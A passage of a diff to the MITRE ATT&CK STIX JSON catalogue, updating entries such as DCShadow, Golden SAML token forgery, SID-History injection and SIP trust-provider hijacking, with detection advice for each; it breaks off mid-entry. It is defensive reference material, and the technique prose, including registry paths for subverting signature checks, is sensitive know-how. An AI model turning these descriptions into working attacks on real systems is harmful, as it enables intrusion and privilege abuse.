"Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.", "name": "Remote Email Collection", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -25832,19 +27127,28 @@ "url": "https://attack.mitre.org/techniques/T1114/002" } ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "modified": "2021-03-25T13:12:56.909Z", + "created": "2020-02-19T18:52:24.547Z", "x_mitre_platforms": [ "Office 365", - "Windows" + "Windows", + "Google Workspace" ], "x_mitre_data_sources": [ - "Authentication logs", - "Email gateway", - "Mail server", - "Office 365 trace logs" + "Network Traffic: Network Connection Creation", + "Logon Session: Logon Session Creation", + "Command: Command Execution" ], "x_mitre_detection": "Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).", "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0" + "x_mitre_version": "1.1" }, { "external_references": [ @@ -25881,10 +27185,11 @@ "modified": "2020-03-23T23:35:58.129Z", "created": "2020-02-25T18:26:16.994Z", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "Netflow/Enclave netflow", - "Authentication logs" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Logon Session: Logon Session Creation", + "Command: Command Execution", + "Process: Process Creation" ], "x_mitre_detection": "Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nMonitor for processes and command-line arguments associated with hijacking service sessions.", "x_mitre_version": "1.0", @@ -25942,19 +27247,13 @@ "x_mitre_version": "1.1", "x_mitre_detection": "Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.", "x_mitre_data_sources": [ - "Windows Registry", - "Windows event logs", - "Process use of network", - "Process monitoring", - "Process command-line parameters", - "PowerShell logs", - "Packet capture", - "Network protocol analysis", - "Netflow/Enclave netflow", - "File monitoring", - "DLL monitoring", - "Authentication logs", - "API monitoring" + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Logon Session: Logon Session Creation", + "Command: Command Execution", + "Network Share: Network Share Access", + "Module: Module Load" ], "x_mitre_system_requirements": [ "Active remote service accepting connections and valid credentials" @@ -25966,15 +27265,6 @@ ] }, { - "created": "2017-05-31T21:30:28.187Z", - "modified": "2020-09-17T12:26:53.669Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "discovery" - } - ], - "type": "attack-pattern", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -25988,20 +27278,34 @@ "external_id": "CAPEC-292", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/292.html" + }, + { + "source_name": "Elastic - Koadiac Detection with EQL", + "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020." } ], "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems. \n\nSpecific to macOS, the bonjour protocol exists to discover additional Mac-based systems within the same broadcast domain.", "name": "Remote System Discovery", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "id": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "x_mitre_version": "3.0", - "x_mitre_data_sources": [ - "Network protocol analysis", - "Process monitoring", - "Process use of network", - "Process command-line parameters" + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } ], - "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "modified": "2021-04-13T21:40:23.368Z", + "created": "2017-05-31T21:30:28.187Z", + "x_mitre_version": "3.1", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Network Traffic: Network Connection Creation", + "File: File Access" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)", "x_mitre_platforms": [ "Linux", "macOS", @@ -26013,6 +27317,7 @@ "SYSTEM" ], "x_mitre_contributors": [ + "Daniel Stepanic, Elastic", "RedHuntLabs, @redhuntlabs" ], "x_mitre_is_subtechnique": false @@ -26030,14 +27335,14 @@ "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020." }, { - "source_name": "Endgame Masquerade Ball", + "source_name": "Elastic Masquerade Ball", "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", "url": "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf" }, { - "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke", + "source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", - "source_name": "F-Secure CozyDuke" + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf" }, { "source_name": "Twitter ItsReallyNick Masquerading Update", @@ -26050,7 +27355,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Rename System Utilities", - "description": "Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)", + "description": "Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)", "id": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "type": "attack-pattern", "kill_chain_phases": [ @@ -26059,16 +27364,16 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-02-10T20:03:11.691Z", + "modified": "2020-11-23T17:03:38.941Z", "created": "2020-02-10T20:03:11.691Z", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, - "x_mitre_detection": "If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)", + "x_mitre_detection": "If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)", "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters", - "Binary file metadata" + "File: File Modification", + "Process: Process Metadata", + "Command: Command Execution", + "File: File Metadata" ], "x_mitre_platforms": [ "Linux", @@ -26107,8 +27412,10 @@ "x_mitre_is_subtechnique": false, "x_mitre_version": "1.0", "x_mitre_data_sources": [ - "File monitoring", - "Data loss prevention" + "Process: Process Creation", + "File: File Access", + "File: File Creation", + "Drive: Drive Creation" ], "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.", "x_mitre_permissions_required": [ @@ -26123,7 +27430,7 @@ }, { "id": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", - "description": "Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.", + "description": "Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining. Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware kills off processes for competing malware to ensure it\u2019s not competing for resources.(Citation: Trend Micro War of Crypto Miners)", "name": "Resource Hijacking", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -26131,9 +27438,9 @@ ], "external_references": [ { - "url": "https://attack.mitre.org/techniques/T1496", "source_name": "mitre-attack", - "external_id": "T1496" + "external_id": "T1496", + "url": "https://attack.mitre.org/techniques/T1496" }, { "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", @@ -26144,6 +27451,21 @@ "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.", "url": "https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc", "source_name": "CloudSploit - Unused AWS Regions" + }, + { + "source_name": "Unit 42 Hildegard Malware", + "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", + "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021." + }, + { + "source_name": "Trend Micro Exposed Docker APIs", + "url": "https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html", + "description": "Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021." + }, + { + "source_name": "Trend Micro War of Crypto Miners", + "url": "https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html", + "description": "Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021." } ], "type": "attack-pattern", @@ -26153,16 +27475,23 @@ "phase_name": "impact" } ], - "modified": "2020-07-14T19:29:17.574Z", + "modified": "2021-04-14T12:06:32.187Z", "created": "2019-04-17T14:50:05.682Z", + "x_mitre_contributors": [ + "David Fiser, @anu4is, Trend Micro", + "Alfredo Oliveira, Trend Micro", + "Jay Chen, Palo Alto Networks", + "Magno Logan, @magnologan, Trend Micro", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team" + ], "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ + "Windows", + "IaaS", "Linux", "macOS", - "Windows", - "AWS", - "GCP", - "Azure" + "Containers" ], "x_mitre_permissions_required": [ "User", @@ -26171,15 +27500,14 @@ "x_mitre_impact_type": [ "Availability" ], - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_data_sources": [ - "Azure activity logs", - "Stackdriver logs", - "AWS CloudTrail logs", - "Process use of network", - "Process monitoring", - "Network protocol analysis", - "Network device logs" + "Process: Process Creation", + "Command: Command Execution", + "File: File Creation", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Sensor Health: Host Status" ], "x_mitre_detection": "Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage." }, @@ -26205,7 +27533,7 @@ ], "revoked": true, "type": "attack-pattern", - "modified": "2020-06-16T18:44:16.145Z", + "modified": "2021-03-08T10:33:01.527Z", "created": "2019-09-04T14:37:07.959Z" }, { @@ -26240,27 +27568,24 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-06-17T17:36:24.531Z", + "modified": "2021-03-08T10:33:02.128Z", "created": "2020-06-16T18:42:20.734Z", - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_detection": "Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", "x_mitre_data_sources": [ - "Stackdriver logs", - "GCP audit logs", - "Azure activity logs", - "AWS CloudTrail logs" + "Instance: Instance Modification", + "Instance: Instance Start", + "Instance: Instance Stop" ], "x_mitre_contributors": [ "Netskope" ], "x_mitre_platforms": [ - "AWS", - "GCP", - "Azure" + "IaaS" ] }, { @@ -26308,7 +27633,7 @@ "Windows" ], "x_mitre_data_sources": [ - "File monitoring" + "File: File Metadata" ], "x_mitre_detection": "Detection methods should include looking for common formats of RTLO characters within filenames such as \\u202E, [U+202E], and %E2%80%AE. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.", "x_mitre_is_subtechnique": true, @@ -26318,7 +27643,7 @@ "id": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Rogue Domain Controller", - "description": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)", + "description": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)", "external_references": [ { "source_name": "mitre-attack", @@ -26361,7 +27686,7 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-03-19T21:04:12.164Z", + "modified": "2021-02-09T15:13:27.670Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ @@ -26375,10 +27700,10 @@ "Log analysis" ], "x_mitre_data_sources": [ - "API monitoring", - "Authentication logs", - "Network protocol analysis", - "Packet capture" + "Active Directory: Active Directory Object Creation", + "Active Directory: Active Directory Object Modification", + "Network Traffic: Network Traffic Content", + "User Account: User Account Authentication" ], "x_mitre_contributors": [ "Vincent Le Toux" @@ -26456,9 +27781,8 @@ "Anti-virus" ], "x_mitre_data_sources": [ - "BIOS", - "MBR", - "System calls" + "Drive: Drive Modification", + "Firmware: Firmware Modification" ], "x_mitre_version": "1.1" }, @@ -26502,12 +27826,11 @@ "Menachem Shafran, XM Cyber" ], "x_mitre_data_sources": [ - "Packet capture", - "Host network interface", - "Windows Registry", - "File monitoring", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "File: File Creation", + "Command: Command Execution", + "Service: Service Creation", + "Windows Registry: Windows Registry Key Modification" ], "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -26577,7 +27900,7 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-06-20T22:31:42.113Z", + "modified": "2021-01-20T18:12:11.843Z", "created": "2020-01-23T18:03:46.248Z", "x_mitre_platforms": [ "Windows" @@ -26594,10 +27917,9 @@ "Anti-virus" ], "x_mitre_data_sources": [ - "DLL monitoring", - "Loaded DLLs", - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Command: Command Execution", + "Module: Module Load" ], "x_mitre_contributors": [ "Casey Smith", @@ -26669,8 +27991,11 @@ "Windows" ], "x_mitre_data_sources": [ - "Process monitoring", - "File monitoring" + "Process: OS API Execution", + "File: File Creation", + "File: File Deletion", + "File: File Modification", + "File: File Metadata" ], "x_mitre_detection": "Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.", "x_mitre_impact_type": [ @@ -26685,6 +28010,78 @@ "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0" }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1606.002", + "url": "https://attack.mitre.org/techniques/T1606/002" + }, + { + "source_name": "Microsoft SolarWinds Steps", + "url": "https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/", + "description": "Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020." + }, + { + "source_name": "Microsoft SAML Token Lifetimes", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes", + "description": "Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020." + }, + { + "source_name": "Cyberark Golden SAML", + "url": "https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps", + "description": "Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020." + }, + { + "source_name": "Microsoft SolarWinds Customer Guidance", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020." + }, + { + "source_name": "Sygnia Golden SAML", + "url": "https://www.sygnia.co/golden-saml-advisory", + "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "SAML Tokens", + "description": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)", + "id": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "modified": "2021-04-14T14:29:27.290Z", + "created": "2020-12-17T15:24:12.240Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Web Credential: Web Credential Creation", + "Web Credential: Web Credential Usage" + ], + "x_mitre_contributors": [ + "Blake Strom, Microsoft 365 Defender", + "Oleg Kolesnikov, Securonix" + ], + "x_mitre_version": "1.1", + "x_mitre_is_subtechnique": true, + "x_mitre_detection": "This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)\n\nConsider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)", + "x_mitre_platforms": [ + "Azure AD", + "SaaS", + "Windows", + "Office 365", + "Google Workspace" + ] + }, { "id": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d", "name": "SID-History Injection", @@ -26773,7 +28170,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "SID-History Injection", - "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).", + "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).", "id": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023", "type": "attack-pattern", "kill_chain_phases": [ @@ -26786,7 +28183,7 @@ "phase_name": "privilege-escalation" } ], - "modified": "2020-03-26T21:49:31.964Z", + "modified": "2021-02-09T15:49:58.414Z", "created": "2020-02-18T18:34:49.414Z", "x_mitre_contributors": [ "Alain Homewood, Insomnia Security", @@ -26800,9 +28197,9 @@ ], "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)", "x_mitre_data_sources": [ - "Windows event logs", - "Authentication logs", - "API monitoring" + "Process: OS API Execution", + "User Account: User Account Metadata", + "Active Directory: Active Directory Object Modification" ], "x_mitre_platforms": [ "Windows" @@ -26926,7 +28323,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "SIP and Trust Provider Hijacking", - "description": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, 